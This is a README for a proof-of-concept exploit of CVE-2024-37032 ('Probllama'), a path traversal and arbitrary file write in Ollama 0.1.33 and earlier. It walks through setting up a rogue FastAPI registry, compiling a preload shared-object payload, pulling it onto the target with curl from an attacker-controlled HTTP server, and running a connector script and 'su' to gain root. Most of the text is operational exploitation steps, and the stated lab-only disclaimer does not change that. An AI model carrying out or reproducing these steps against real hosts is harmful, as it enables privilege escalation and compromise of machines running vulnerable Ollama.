
CVE-2024-37032 (Probllama) PoC for Ollama ≤0.1.33: path traversal and arbitrary file write via model digest handling, leading to automated privilege escalation.
This repository contains a proof of concept FastAPI registry server, connector script, and preload demo library for authorized lab testing.
Use this only on systems you own or are explicitly allowed to test.
server.py: starts the FastAPI PoC server.rogue_server/config.py: central configuration for the PoC server.connector.py: sends the pull/push requests to the target Ollama API.preload_privs_demo.c: C source for the shared object payload.requirements.txt: Python dependencies for the PoC server.On your host machine, install the Python dependencies:
python -m pip install -r requirements.txt
Edit rogue_server/config.py on your host machine:
HOST = "<your_host_ip_or_host_ip>"
Edit connector.py:
SERVER_HOST = "<your_host_ip_or_host_ip:8000>"
TARGET_HOST = "127.0.0.1"
TARGET_PORT = 11434
Notes:
SERVER_HOST must point to the host running server.py.8000, include the port in both HOST and SERVER_HOST, for example 10.10.16.160:8000.TARGET_HOST and TARGET_PORT must point to the target Ollama API. If connector.py runs directly on the target machine, 127.0.0.1:11434 is usually correct.rogue_server/config.py, restart the PoC server.Compile the C file and name the output libpreload_privs_demo.so:
gcc -shared -fPIC -o libpreload_privs_demo.so preload_privs_demo.c
Copy these files to the authorized target machine:
libpreload_privs_demo.soconnector.pyOne simple way is to serve them from your host machine:
python3 -m http.server 8081
Then download them from the target machine:
curl -O http://<your_host_ip>:8081/libpreload_privs_demo.so
curl -O http://<your_host_ip>:8081/connector.py
After downloading the shared object, copy its absolute path on the target machine and set that same path as exploit_path in rogue_server/config.py on the host machine.
Example:
exploit_path = "/tmp/libpreload_privs_demo.so"
Start the FastAPI server on your host machine:
python server.py
By default, this project starts Uvicorn on 0.0.0.0:8000.
On the authorized target machine, run:
python3 connector.py
The connector sends the pull and push requests to the configured Ollama API.
After the connector finishes, run:
su
In a vulnerable, correctly configured lab target, the preload path should be used and the privilege transition can be observed.
SERVER_HOST in connector.py matches HOST in rogue_server/config.py.exploit_path is the exact absolute path where libpreload_privs_demo.so exists on the target machine.TARGET_HOST:TARGET_PORT.server.py after changing rogue_server/config.py.